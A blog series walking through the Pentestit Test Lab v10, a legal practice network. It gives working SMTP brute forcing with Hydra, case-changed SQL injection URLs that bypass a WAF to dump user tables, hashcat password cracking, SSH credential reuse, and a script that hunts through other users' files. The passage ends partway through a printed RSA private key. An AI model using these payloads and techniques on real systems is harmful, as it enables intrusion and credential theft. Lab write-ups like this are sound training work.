[PENTESTIT] TEST LAB V.10 from Jack “Hacks” Halon

Pentestit Lab v10 – Introduction & Network

Ever wondered how it feels like to hack a company? To breach their systems, traverse their network, and gain complete and total control of their domain – but all in bounds of legality? Well look no further!

A few months ago I was scouring the web looking for decent resources that I can use to practice and hone my hacking skills. Although VulnHub was great, it didn’t provide me with a sense of realism. I wanted something more, something similar to the OSCP Labs and Exam… something with a “real world” structure, a real network that I can compromise, domain and all.

After a while I stumbled across something called Pentestit Labs. It was a unique Russian “Corporate Laboratory” set up and led by the Pentestit Information Security Firm, allowing security professionals to test their penetration testing skills.

I decided to dig deeper into the site and was generally amazed by how well everything was put together and how realistic the lab felt. I decided to give the lab a shot and completed it with a 100% success rate. I will be posting my write-ups for the lab and how I successfully “hacked” the “real life” lab in the upcoming days.

But, before I am able to post my write-up’s let’s go over the basics of what the lab is, what it consists of, and what is to be done.

About the “Test Lab”:

The “Test lab” contains penetration testing laboratories that emulates the IT infrastructure of real companies and are created for legal pentesting and improving penetration testing skills. Laboratories are always unique and include the most recent and known vulnerabilities.

The “Test lab” is presented as a computer network of virtual companies containing widely of distributed misconfigurations and vulnerabilities. Participants, playing a pentester role, are trying to exploit them – and in case of success, gain access to particular lab nodes which contain a token. The winner is the one who collects all tokens.

Penetration testing in the labs is based on a “grey box” methodology: participants have network infrastructure information in form of a schema and a text description. Participants can use different methods of penetration – exploiting network services, web, social engineering, buffer overflow and etc.

During development of the labs, we try to cover almost all IT areas: network security, security of OSs and applications. Participants are supposed to exploit the variety of vulnerabilities in the network components and cryptographic mechanisms, in configurations and code, and also the human factor. The outstanding features of “Test lab” is the unique story and whole scenery which links tasks with each other. For example, one can use already found mail credentials to attack other services and machines (Active Directory, for example). This is more real than standalone tasks in CTF contests, which can be done separately.

The Network:

Before you are able to access the Network Information and VPN Connection to the lab – you have to register. Once you are registered and verified you will be able to access the “Test Lab V.10” Main Screen.

From here you will be able to access the Network Diagram, Forums, Chat, and also be allowed to enter any “Tokens” found during your pentest.

When you click on the Network Diagram link, you will be presented with the layout of the lab – in other terms you will be presented with the Companies Network Layout for your Grey-Boxpentest.

From the initial image we can see that we will have access to the Lab via VPN or Virtual Private Network.

Once in the network, we will only have access to one public facing host called “gw” – possibly sitting in the DMZ. From the small fire graphic – it also seems that the system has a running Firewall to prevent any attacks from getting into the Internal Network.

Our objective would be to compromise that host, get remote access, and then pivot into the Internal Network to continue our pentest.

Our “main” objective would be to compromise the WIN-DC0 host as that is the Domain Controller for the network. If we can compromise that, then we will have the keys to the kingdom. Overall, that is also the goal in any Network Pentest, to see if we can get access to the Domain.

Connecting to the Lab:

Once you are registered and at the main “Test Lab” screen, if you look at the top right corner of your screen, you will see a “HOW TO CONNECT” button, right next to your Progress Meter.

Once you click on “HOW TO CONNECT” you will be redirected to the Instructions Screen.

You can connect using either Linux or Windows. I used my Linux Kali Distribution along with OpenVPN and Pentestit’s OpenVPN config file.

If you want, you can download their custom Kali 2 VirtualBox OVA Image, but I preferred to use my own custom setup… plus I didn’t know what else they might have installed/not installed on there, and I didn’t want any headaches during testing.

Once you login to the website, get your VPN credentials, and download the OpenVPN config file to your Kali Box, we can go ahead and connect to the Lab.

This can be simply done by running the OpenVPN Command with the Pentestit config file as the argument, like so:

root@kali:~# openvpn lab.pentestit.ru.conf 
Sat Nov 26 22:15:43 2016 OpenVPN 2.3.11 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 23 2016
Sat Nov 26 22:15:43 2016 library versions: OpenSSL 1.0.2j  26 Sep 2016, LZO 2.08
Enter Auth Username: ******
Enter Auth Password: ********
---snip---
Sat Nov 26 22:15:53 2016 /sbin/ip route add 192.168.101.0/24 via 10.10.200.121
Sat Nov 26 22:15:53 2016 /sbin/ip route add 10.10.0.1/32 via 10.10.200.121
Sat Nov 26 22:15:53 2016 Initialization Sequence Completed

After you see “Sequence Completed” then you are successfully in the lab and can start pentesting!

Alright, that’s all for today! Stay tuned for more posts in the upcoming days on how to compromise the lab!

 

Pentestit Lab v10 – Mail Token (1/13)

In my previous post “Pentestit Lab v10 – Introduction & Network”, we covered the Network, and VPN Connection. Today we will be covering the first steps taken to attack the lab – which will include the following:

  • Fingerprinting the GW machine
  • Carrying out Intelligence Gathering
  • Brute Forcing SMTP
  • Finding the Mail Token

Please note, that there are 13 Tokens in total scattered throughout the lab. Each of my posts are in order of compromise which provided the best results and were the most logical. I closely followed the The Penetration Testing Execution Standard which aided me in compromising the next network segment or device from previously gained information.

What does this mean? This means that I started by enumerating users, gaining emails, passwords, and any other network information that seemed useful to me. With this information I was able to log into other devices, leverage exploits or logins further in the process, this also allowed me to easily pivot from machine to machine and gain deeper access to the network – to where I was finally able to take control of the Domain Controller.

If you are completely unfamiliar with how a “Grey Box” Penetration Test is carried out on a Network – along with the exploitation of Web Applications, daemons and services – then I highly suggest you get ahold of and read the following resources – as well as read the PTES Standards that I linked above.

As with anything, if you have any comments, questions, or general concerns/issues/suggestions about my techniques – please leave a comment below!

Fingerprinting the GW Machine:

Consult the Network Map if you forgot what or where the GW Machine is. Since it’s the only Server sitting between us (possibly in the DMZ) and the internal network, we have to compromise it first to gain access to the internal network.

Since we already have VPN access to the lab – we can start by fingerprinting the gw machine (also called Active Footprinting in the PTES).

We can do so by running Nmap as a SYN Stealth Scan with the -sS option, as well as running the -A option for OS detection, version detection, script scanning, and traceroute. I also used the -n option to disable DNS Resolution.

If you are unfamiliar with the Nmap scan options, or need a quick refresher – then I suggest you read the Nmap Options Summary.

root@kali:~# nmap -sS -A -n 192.168.101.9

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-24 17:31 CST
Nmap scan report for 192.168.101.9
Host is up (0.11s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
| ssh-hostkey: 
|   1024 bd:04:9b:d8:8d:0e:5b:e3:11:a7:57:18:c0:ce:9f:83 (DSA)
|   2048 98:e6:d0:35:6d:11:c4:d1:fb:7c:0f:87:c6:b6:8e:da (RSA)
|_  256 2c:58:fd:06:ea:46:8e:f7:b5:28:58:58:06:fa:dc:38 (ECDSA)
25/tcp   open  smtp    CommuniGate Pro mail server 6.0.9
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection timeout
80/tcp   open  http    nginx 1.10.1
|_http-server-header: nginx/1.10.1
|_http-title: 403 Forbidden
443/tcp  open  http    nginx 1.2.1
|_http-server-header: nginx/1.2.1
|_http-title: Security Blog by GlobalDataSecurity
8100/tcp open  http    CommuniGate Pro httpd 6.0.9
| http-methods: 
|_  Potentially risky methods: PUT DELETE LOCK UNLOCK MKCOL PROPFIND PROPPATCH MOVE COPY REPORT SEARCH ACL MKCALENDAR
|_http-server-header: CommuniGatePro/6.0.9
|_http-svn-info: ERROR: Script execution failed (use -d to debug)
|_http-title:  CommuniGate Pro gds.lab Entrance
| http-webdav-scan: 
|   Public Options: OPTIONS, GET, HEAD, POST, PUT, DELETE, LOCK, UNLOCK, MKCOL, PROPFIND, PROPPATCH, MOVE, COPY, REPORT, SEARCH, ACL, MKCALENDAR
|   Allowed Methods: OPTIONS, GET, HEAD, POST, PUT, DELETE, LOCK, UNLOCK, MKCOL, PROPFIND, PROPPATCH, MOVE, COPY, REPORT, SEARCH, ACL, MKCALENDAR
|   Server Type: CommuniGatePro/6.0.9
|   Server Date: Tue, 24 Jan 2017 23:31:59 GMT
|   WebDAV type: Unkown
|   Directory Listing: 
|     /
|     /CalDAV/
|     /CalDAV/INBOX/
|     /CalDAV/Outbox/
|     /WebDAV/private/caldav/
|_    /CalDAV/Notify/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|firewall|broadband router|media device
Running (JUST GUESSING): Linux 3.X|2.6.X (91%), WatchGuard Fireware 11.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3.x
Aggressive OS guesses: Linux 3.2 - 3.8 (91%), Linux 3.8 (91%), WatchGuard Fireware 11.8 (91%), Linux 3.1 - 3.2 (91%), Linux 3.2.0 (90%), Linux 3.0 - 3.2 (88%), Linux 3.5 (88%), Linux 2.6.32 - 2.6.39 (87%), Linux 2.6.18 - 2.6.22 (86%), Linux 2.6.39 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: Host: gds.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 25/tcp)
HOP RTT       ADDRESS
1   117.65 ms 10.10.0.1
2   117.82 ms 172.0.1.1
3   118.93 ms 192.168.101.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.62 seconds

Our initial review of the Nmap scans reveals that the following ports are open:

  • TCP/22 – SSH
  • TCP/25 – SMTP (CommuniGate Pro)
  • TCP/80 – nginx (HTTP)
  • TCP/443 – nginx (HTTPS)
  • TCP/8100 – CommuniGate Pro (HTTPD) – Email Server

In a logical fashion, we can’t attack SSH since we don’t have any credentials. SMTP we can use to enumerate users… but that could be tedious if we don’t know how/what the structure of login names are. We can try accessing CommuniGate Pro with an exploit… but version 6.0.9 at the time of writing this was exploit free.

Our best bet – and most logical step – would be to explore TCP/80 and TCP/443 and see what the website holds for us. Maybe there are vulnerabilities, comments in the source code, usernames, etc.

Intelligence Gathering:

Before we can continue to the website – just a quick tip of advice – add the following to your /etc/hosts file so you don’t encounter any issues when accessing the website.

root@kali:~# nano /etc/hosts

127.0.0.1       localhost
127.0.1.1       kali
192.168.101.9   store.gds.lab

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Once we have added store.gds.lab to our hosts file, let’s navigate to the IP of 192.168.101.9 and check out the website.

It seems that the website is that of a Global Data Security company selling Security Software… oh this is going to be fun!

Quickly digging through the website and its associated links really didn’t provide me with anything valuable. So I decided to move on and try TCP/443.

Interesting! By the looks of it, I think I stumbled on the Global Data Security Blog. Maybe we can find some usernames perhaps?

A quick look at the source code for the main page revealed the following:

<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Security Blog by GlobalDataSecurity</title>

    <!-- Bootstrap Core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- Theme CSS -->
    <!-- Alfred Modlin said use this template -->
    <link href="css/clean-blog.min.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    <link href='https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic' rel='stylesheet' type='text/css'>
    <link href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800' rel='stylesheet' type='text/css'>

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js
        https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js
    <![endif]-->

</head>

Notice the comment <!-- Alfred Modlin said use this template -->? It seems like we got a possible username. Let’s save this for later in case we need it.

I notice that there is a “Contact Us” section on the blog as well, let’s go dig around there!

Well what do we have here? Emails! This is great! We now know how the usernames are structured for Global Data Security. So Alfred Modlin should be a.modlin!

Let’s add those usernames to a list for safe keeping.

root@kali:~# nano names
root@kali:~# cat names 
a.modlin@gds.lab
s.locklear@gds.lab
j.wise@gds.lab

Brute Forcing SMTP:

Since we got those three usernames, and there’s an active E-Mail server on the site – let’s try and Brute Force some passwords through SMTP!

I decided to use THC Hydra for this as well as the Rockyou Password List.

root@kali:~# hydra -L names -P /usr/share/wordlists/rockyou.txt 192.168.101.9 smtp
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-24 17:47:43
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 64 tasks, 43033197 login tries (l:3/p:14344399), ~42024 tries per task
[DATA] attacking service smtp on port 25
[STATUS] 221.00 tries/min, 221 tries in 00:01h, 43032976 to do in 3245:20h, 16 active
[STATUS] 215.67 tries/min, 647 tries in 00:03h, 43032550 to do in 3325:33h, 16 active
[STATUS] 215.57 tries/min, 1509 tries in 00:07h, 43031688 to do in 3326:57h, 16 active
[STATUS] 191.07 tries/min, 2866 tries in 00:15h, 43030460 to do in 3753:32h, 16 active
[25][smtp] host: 192.168.101.9   login: a.modlin@gds.lab   password: justdoit

Nice! We got a password for a.modlin! And since we got that… let’s snoop around his emails, shall we?

Finding the Mail Token:

We can access the CommuniGate Pro Email service on TCP/8100.

Once there, let’s login with a.modlin:justdoit and see if we have access.

Bingo! We see that Alfred has two emails, one with the Token, and another one with some kind of App.

Let’s take a look and see what the app is, it might be useful.

From the email we initially have some extra information about the network. We now know that there is only one SSH Port at 172.16.0.1 and that the app will allow us to see if.

We will definitely need it for later exploitation purposes, so let’s save that!

Token (1/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the SMTP Service to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (2/13) – The Site Token!

Pentestit Lab v10 – Site Token (2/13)

In my previous post “Pentestit Lab v10 – Mail Token (1/13)”, we attained usernames through Intelligence Gathering, brute forced the SMTP Service, attained login credentials, and scored our first token. Today we will take our first steps at compromising the Global Data Security website – which will include the following:

  • Mapping the Attack Surface & Defenses
  • Exploiting SQL Injection w/ WAF Bypass
  • Cracking SQL Hashes
  • Finding the Site Token

If you are reading this post for the first time, and have no clue on what’s going on – then I suggest you start from the beginning and read “Pentestit Lab v10 – Introduction & Network”.

I also included a ton of resources in my second post that I linked above – you should seriously check that out if you already haven’t!

Mapping the Attack Surface & Defenses:

Whenever we attempt to attack a web application, we have to start by mapping out the web app and its associated structure. That means finding directories, hidden links, files, URL Query’s, etc.

Once we mapped our application – we can start by looking for vulnerabilities such as SQL Injection, XSS, Path Traversal, etc.

For the Global Data Security website (which I will call GDS from now on), I considered the Security Blog a good starting point.

After going through all the links on the website, I noticed a particular URL parameter in the blog posts that caught my eye.

Notice the id parameter being passed into the URL after post.php? We can actually test this parameter for SQL Injection!

Exploiting SQL Injection w/ WAF Bypass:

I began trying to exploit the id parameter, but for some reason every time I injected some SQL code, I was taken back to the home page.

This made me consider that there might be a WAF or Web Application Firewall in place, preventing me from exploiting this SQL Injection.

I decided to attempt a Case Change Bypass to see if I can somehow bypass the filter. This is due to the fact that some WAF’s only filter lowercase SQL keywords.

I began by injecting the following into the URL:

http://192.168.101.9:443/post.php?id=%27%29+UniOn+SeLecT+1,2%23

After submitting the query – you can see that the SQL Injection is in fact there, and that the Case Change allowed me to bypass the WAF filter.

Now that we got the SQL Injection to work – let’s start by pulling all the tables in the database with the following:

http://192.168.101.9:443/post.php?id=%27%29+UniOn+SeLecT+1,GroUp_ConCaT%28taBlE_SCheMa,0x20a,TAblE_NaME%29+FrOm+iNfOrmaTioN_scHeMa.TabLeS+WHerE+tAblE_SchEma=DaTabAsE%28%29%23

Nice! Now that we got our table names, let’s pull all the columns from the “site” table.

http://192.168.101.9:443/post.php?id=%27%29+UniOn+SeLecT+1,GroUp_ConCaT%28TAblE_NaME,0x20,CoLumN_NaME%29+FrOm+iNfOrmaTioN_scHeMa.ColUmNs+WHerE+tAblE_SchEma=%27site%27%23

We see that the users table has a username and password column, so let’s go ahead and dump any data in those columns.

http://192.168.101.9:443/post.php?id=%27%29+UniOn+SeLecT+1,GroUp_ConCaT%28useRnAMe,0x20,paSswOrD%29+FrOm+site.users%23

Cracking MySQL Hashes:

Awesome, we got another username, and a SQL Hash of the associated user’s password. Let’s first start by saving the username for future reference, along with the other usernames we have.

root@kali:~/gds# nano names
root@kali:~/gds# cat names 
a.modlin@gds.lab
s.locklear@gds.lab
j.wise@gds.lab
e.lindsey@gds.lab

Since we got a SQL Hash, let’s use hash-identifier to see what type of hash it is. Then, we can use HashCat to try and crack it!

root@kali:~/gds# nano lindsey_hash
root@kali:~/gds# cat lindsey_hash 
$1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8.


root@kali:~/gds# hash-identifier
   #########################################################################
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       Root@Blackploit.com #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: $1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8. 

Possible Hashs:
[+]  MD5(Unix)

   -------------------------------------------------------------------------


root@kali:~/gds# hashcat -m 500 -a 0 lindsey_hash /usr/share/wordlists/rockyou.txt 
hashcat (v3.10) starting...

OpenCL Platform #1: Intel(R) Corporation
========================================
- Device #1: Intel(R) Core(TM) i7-5820K CPU @ 3.30GHz, 988/3955 MB allocatable, 4MCU

OpenCL Platform #2: Mesa, skipped! No OpenCL compatible devices found

Hashes: 1 hashes; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable Optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger disabled
Watchdog: Temperature retain trigger disabled

- Device #1: Kernel m00500.35b61712.kernel not found in cache! Building may take a while...
- Device #1: Kernel amp_a0.35b61712.kernel not found in cache! Building may take a while...

Cache-hit dictionary stats /usr/share/wordlists/rockyou.txt: 139921507 bytes, 14343297 words, 14343297 keyspace

$1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8.:lindsey123             
                                                          
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (/usr/share/wordlists/rockyou.txt)
Hash.Target....: $1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8.
Hash.Type......: md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
Time.Started...: Tue Jan 24 18:55:44 2017 (3 secs)
Speed.Dev.#1...:    22462 H/s (12.65ms)
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 82661/14343297 (0.58%)
Rejected.......: 17/82661 (0.02%)
Restore.Point..: 81497/14343297 (0.57%)

Started: Tue Jan 24 18:55:44 2017
Stopped: Tue Jan 24 18:55:54 2017

After some time we see that the MD5 Hash is that of the password lindsey123.

Finding the Site Token:

Since we were able to compromise a username and password, we need to find a place where we can leverage these credentials.

At this point, I decide to run dirb to try and enumerate any interesting directories that I might have missed.

root@kali:~# dirb http://192.168.101.9:443

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jan 24 18:58:31 2017
URL_BASE: http://192.168.101.9:443/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.101.9:443/ ----
==> DIRECTORY: http://192.168.101.9:443/admin/                                 
==> DIRECTORY: http://192.168.101.9:443/css/                                   
==> DIRECTORY: http://192.168.101.9:443/img/                                   
+ http://192.168.101.9:443/index.php (CODE:200|SIZE:7343)                      
==> DIRECTORY: http://192.168.101.9:443/js/                                    
==> DIRECTORY: http://192.168.101.9:443/mail/                                  
==> DIRECTORY: http://192.168.101.9:443/vendor/ 

The admin console looks promising! So let’s go ahead and log in there!

Once logged in, you should automatically see the Site Token on the main page.

Token (2/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Blog to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (3/13) – The SSH Token!

Pentestit Lab v10 – SSH Token (3/13)

In my previous post “Pentestit Lab v10 – Site Token (2/13)”, we mapped the attack surface of the GDS Blog, exploited a SQL Inject while bypassing the WAF filter, cracked user credentials, gained administrative access to the blog, and scored our second token. Today we will be leveraging our new found credentials to compromise the gw machine – which will include the following:

  • Leveraging Credentials for SSH Access
  • Enumerating Linux Files & Directories
  • Extracting Private Data
  • Finding the SSH Token

Leveraging Credentials for SSH Access:

In my previous post, I was able to compromise the blogs backend SQL Server and managed to attain the credentials of e.lindsey:lindsey123 – which gave me admin access to the Blog.

Since those credentials allowed me admin access, my next step was to try and gain SSH access to the gw machine.

So let’s go ahead and try to access SSH with those credentials.

root@kali:~# ssh e.lindsey@192.168.101.9
The authenticity of host '192.168.101.9 (192.168.101.9)' can't be established.
ECDSA key fingerprint is SHA256:A5T5DHV6QBNJ/uT+oBYi1VrS+EVZ/vFv+ECwCC/Xp7I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.101.9' (ECDSA) to the list of known hosts.
e.lindsey@192.168.101.9's password: 
Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64
Last login: Thu Dec  1 12:17:26 2016 from 10.10.69.138
e.lindsey@tl10-ssh:~$ 

Awesome! So it seems that our leveraged credentials also have SSH access (network access) to the gw machine, and possibly other machines in the internal network!

Enumerating Linux Files & Directories:

Now that we have internal access to the gw machine, let’s do some enumeration and see if we can’t find anything interesting.

e.lindsey@tl10-ssh:~$ cd ..
e.lindsey@tl10-ssh:/home$ ls
a.modlin  e.lindsey  g.leone  k.barth  m.howard  rross  s.locklear

Going to the home folder showed me that there are multiple users on the machine – so I decided to dig through each of these folders for any interesting data, but that boded no results.

At this point I decided to look at the root directory to see if there might be any interesting folders left behind.

e.lindsey@tl10-ssh:/home$ cd /
e.lindsey@tl10-ssh:/$ ls
bin   database  home        lib64       mnt   root  selinux  tmp  vmlinuz
boot  dev       initrd.img  lost+found  opt   run   srv      usr
data  etc       lib         media       proc  sbin  sys      var

The data folder looked interesting sine it isn’t a common directory in Linux, so let’s dig into that and see if there isn’t anything in there that we can use.

e.lindsey@tl10-ssh:/$ cd data/
e.lindsey@tl10-ssh:/data$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Nov 25 14:34 .
drwxr-xr-x 24 root root 4096 Nov 25 23:19 ..
drwxr-x--x  8 root root 4096 Nov 25 15:14 users
e.lindsey@tl10-ssh:/data$ cd users/
e.lindsey@tl10-ssh:/data/users$ ls -la
ls: cannot open directory .: Permission denied

Permission Denied? Really…. Well then, that means that there are actual folders in there that we don’t have access to. Possibly folders for all the other users that were located in the /usr folder.

There’s two things we can do here – find and leverage a privilege escalation exploit to gain root privileges, or write a python script to enumerate any files and folders based off the usernames in the /usr folder.

After some digging and enumeration I decided to go the Python Script route – since there was nothing that would allow me to escalate my privileges to root.

After a brief outline and some logic I came up with the following script:

#!/usr/bin/python

import os

users = open("names.txt", "r")

for names in users.readlines():
	names = names.replace("\n", "")
	path = '/data/users/' + names + '/'
	tmp = os.path.isdir(path)
	if tmp == True:
		print path
		dir = open("common.txt", "r")
		for dir in dir.readlines():
			dir = dir.replace("\n", "")
			path2 = path + dir
			tmp2 = os.path.isdir(path2)
			if tmp2 == True:
				print '\033[1;34m [+] Directory Found\033[1;m', path2
				file = open("common.txt", "r")
				for file in file.readlines():
					file = file.replace("\n", "")
					path3 = path2 + '/' + file
					tmp3 = os.path.isfile(path3)
					if tmp3 == True:
						print '\033[1;32m [+] File Found\033[1;m', path3

If you don’t know what this script is doing, then I would love to explain it to you – but I suggest you go learn some basic Python and then come back and read it – this way you actually learn and understand the code better.

Either way – a quick over view of the script:

In the first few lines (as seen below) – I am reading in a file called names.txt which contains our attained usernames and naming that variable as “users”. Then I am reading each line from the users file (names.txt) and calling each line “names”.

For each of those names (lines) I mutate the name to remove any whitespace or newline so I just have the name – this prevents any issues when enumerating through the directories.

users = open("names.txt", "r")

for names in users.readlines():
	names = names.replace("\n", "")

At this point I create another variable called “path” which is set to /data/users/ plus the names variable. For example: for user e.lindsey the path would be – /data/users/e.lindsey.

I also create a “tmp” variable and run an os command to make sure that the path variable is an existent directory. If that path diretory exists, or is True, then we move on to the next portion. If not, go back grab a new username and try again.

path = '/data/users/' + names + '/'
tmp = os.path.isdir(path)
if tmp == True:

Once the tmp variable is true, we print out the path name to our terminal so we can see what path actually exists.

We then create a new variable called “dir” and open up the “common.txt” wordlist which contains common directory and file names. We then read in each line from dir and save that as a variable called “dir”.

print path
dir = open("common.txt", "r")
for dir in dir.readlines():

Once we get a new line from dir, we mutate dir to remove whitespaces and any new lines.

We then create a new variable called “path2” and concatenate our previous path variable to dir. Thus it would be something like – /data/users/e.lindsey/admin

We create a “tmp2” variable to see if path2 is a directory, and if True, we continue.

dir = dir.replace("\n", "")
path2 = path + dir
tmp2 = os.path.isdir(path2)
if tmp2 == True:

If the directory from path2 is found, we print it to our terminal.

We create a new variable called “file” and read in the common.txt file again. And once again we read in the lines from file and save that as the “file” variable.

print '\033[1;34m [+] Directory Found\033[1;m', path2
file = open("common.txt", "r")
for file in file.readlines():

We replace any whitespaces and newlines in file, create a new variable called “path3” and concatenate path2 to the new file variable.

We then create a new “tmp3” variable, to make sure path3 exists, and continue on. If path3 is True then we print out path3 to our terminal. So it should look like the following – /data/users/e.lindsey/admin/password.

file = file.replace("\n", "")
path3 = path2 + '/' + file
tmp3 = os.path.isfile(path3)
if tmp3 == True:
  print '\033[1;32m [+] File Found\033[1;m', path3

Once we have our script ready to go, let’s edit our names.txt file and make sure that we have all the usernames found in the gw system.

root@kali:~/gds# nano names.txt
root@kali:~/gds# cat names.txt 
a.modlin
e.lindsey
g.leone
k.barth
m.howard
rross
s.locklear
j.wise

Then let’s copy over the common.txt wordlist file to our current working directory, since we will be copying all that over to the gw machine via SCP.

root@kali:~/gds# cp /usr/share/wordlists/dirb/common.txt /root/gds/
root@kali:~/gds# ls
names.txt  common.txt  dir_enum.py  gds-authenticator.apk  lindsey_hash

Okay, so we have everything in place. Let’s go ahead and copy over the data from here to the /var/tmp location on the gw machine.

root@kali:~/gds# scp dir_enum.py names.txt common.txt e.lindsey@192.168.101.9:/var/tmp
e.lindsey@192.168.101.9's password: 
dir_enum.py                                   100%  684     6.2KB/s   00:00    
names.txt                                     100%   68     0.6KB/s   00:00    
common.txt                                    100%   35KB 132.8KB/s   00:00 

Once that’s completed and successful, let’s SSH back into the gw machine, navigate to /vat/tmp and make sure all the files are there!

Also – just in case, let’s also add “token.txt” into the common.txt file if we happen to stumble upon a token.

e.lindsey@tl10-ssh:/home$ cd /var/tmp/
e.lindsey@tl10-ssh:/var/tmp$ ls -a
.  ..  common.txt  dir_enum.py  .ipp  .n  names.txt  .sosat
e.lindsey@tl10-ssh:/var/tmp$ echo token.txt >> common.txt 

Extracting Private Data:

Awesome! We got our script, we know how it works, and we have all the files over on the gw machine!

From here give the script file execution permissions, and run it!

e.lindsey@tl10-ssh:/var/tmp$ chmod +x dir_enum.py 
e.lindsey@tl10-ssh:/var/tmp$ ./dir_enum.py 
/data/users/a.modlin/
 [+] Directory Found /data/users/a.modlin/docs
 [+] File Found /data/users/a.modlin/docs/key
 [+] Directory Found /data/users/a.modlin/tmp
/data/users/e.lindsey/
/data/users/g.leone/
 [+] Directory Found /data/users/g.leone/files
/data/users/m.howard/
/data/users/rross/
 [+] Directory Found /data/users/rross/docs
 [+] File Found /data/users/rross/docs/token.txt
 [+] File Found /data/users/rross/docs/keys
 [+] Directory Found /data/users/rross/tmp
/data/users/s.locklear/
 [+] Directory Found /data/users/s.locklear/docs
 [+] Directory Found /data/users/s.locklear/files
 [+] Directory Found /data/users/s.locklear/tmp

Let’s see what we have here…. I see that a.modlin and rross both have key files – so let’s see what they are!

e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/a.modlin/docs/key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwgMx4VoP4fW9cM2QClQk3b1hq7CcJ+22hNJ0mebh33qDbPW8
gPEMJxmfYyJJgaegPQ4TxGGYsrWZX7bhu3S9+MK2D4F7daudPfvKRbgmKjOp2HSK
V/llnXXwtBbjTffYkrRgnN3T9eo4wadtixsIF7ABztldd7DOdg8GTH5MisL4nqJ6
qBFzB3dWFvfYdW/BCNyKrR7pMPPTpWOeVhqfN/+tnfiZG26Wl9XlTz7PfvGWODqq
XnDPLSBlcRxTg0d8VXQEg4Rty4OB8d/4SQadGNdjxHBWu0I84+hkU/Wima1BYuAw
/xCl/vbea2rHchrKP5ORNlHc6SzLynbzyxgm1wIDAQABAoIBAGrGH1mKm1scR1oh
h7hnfrKaW3qGBCrlZKHMwWdB7eV0I4h/5XKBNtL+Av4oDJRSkJmJec+GdudDklle
